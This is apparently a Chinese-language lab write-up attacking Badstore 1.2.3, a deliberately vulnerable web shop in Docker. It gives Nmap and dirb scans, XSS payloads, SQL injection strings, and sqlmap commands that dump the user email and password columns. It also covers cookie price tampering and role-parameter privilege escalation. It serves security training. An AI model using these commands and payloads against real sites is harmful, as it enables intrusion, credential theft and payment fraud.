Badstore 1.2.3
项目地址
1 | docker pull suc2es2/badstore |
使用 Nmap 扫描出开放服务及操作系统版本
1 | nmap -sS -sV -O -p- 192.168.41.129 |

打开访问网站

使用 dirb 扫描后台
1 | dirb http://192.168.41.129:8080/ |

敏感信息泄露
/supplier/accounts
路径 /supplier/accounts 泄露了类型 etc/passwd 的敏感信息

Base64 解码出来

XSS
Search 搜索框(反射)
对搜索框输入测试发现 SQL 报错语句

应该将 1 回显到了网页上所以测试反射 XSS 漏洞发现也存在
1 | <script>alert(1)</script> |

Sign Our Guestbook(三个存储)
Sign Our Guestbook 中存在三个存储 XSS 漏洞
1 | <script>alert(1)</script> |




My Account(未登录,反射)
在邮件地址这里

直接回显到了网页上,反射型 XSS

同样存在 XSS 漏洞

My Account(已登录,两个存储)
构造 XSS Payload

第一个弹窗了

第二个也是

Login/Register(两个存储)
在注册的 Full Name 中存在存储型 XSS 漏洞


同时 Email Address 也存在 存储型 XSS


Adminpotal Add User(存储)
拿到管理员权限后在用户添加处存在存储型 XSS 漏洞


SQL 注入
Search 搜索框
注入万能语句回显正常
1 | ' or 1=1 # |

推测没有做任何过滤,直接上 SQLMap 爆库
1 | sqlmap -u "http://192.168.41.129:8080/cgi-bin/badstore.cgi" --data="searchquery=1&action=search" --dbs |

爆表
1 | sqlmap -u "http://192.168.41.129:8080/cgi-bin/badstore.cgi" --data="searchquery=1&action=search" -D badstoredb --tables |

直接爆用户表字段
1 | sqlmap -u "http://192.168.41.129:8080/cgi-bin/badstore.cgi" --data="searchquery=1&action=search" -D badstoredb -T userdb --columns |

随便就是 dump 出数据发现 admin
1 | sqlmap -u "http://192.168.41.129:8080/cgi-bin/badstore.cgi" --data="searchquery=1&action=search" -D badstoredb -T userdb -C email --dump |

再 dump 出密码
1 | sqlmap -u "http://192.168.41.129:8080/cgi-bin/badstore.cgi" --data="searchquery=1&action=search" -D badstoredb -T userdb -C passwd --dump |

撞库出密码

结果登不进去
What’s New Add ltems to Cart
添加商品也存在 SQL 注入,加单引号报错

成功爆破出数据库名
1 | ' and updatexml(1,concat(0x7e,database(),0x7e),1)-- - |

Supplier Login
在这个登录处同样存在 SQL 注入漏洞,参数是 email



Login/Register
在登录处也是 email 参数存在 SQL 注入


Adminpotal Add User
拿到管理员权限后在添加用户处 email 参数存在 SQL 注入漏洞


Adminpotal Delete User
同样在删除用户处也存在 SQL 注入

任意密码重置
Reset User Password
在页面找到一个重置密码功能

推测存在任意密码重置漏洞,重置后给出新密码 Welcome

支付漏洞
View Cart
需要先将物品添加到购物车

抓包解码发现价格参数在 Cookie 中

直接浏览器里更改

在最后付款页面推测还可能存在 SQL 注入及 XSS
越权
Login/Register
抓注册包发现有一个权限参数 role

改为 A 发送

越权成功
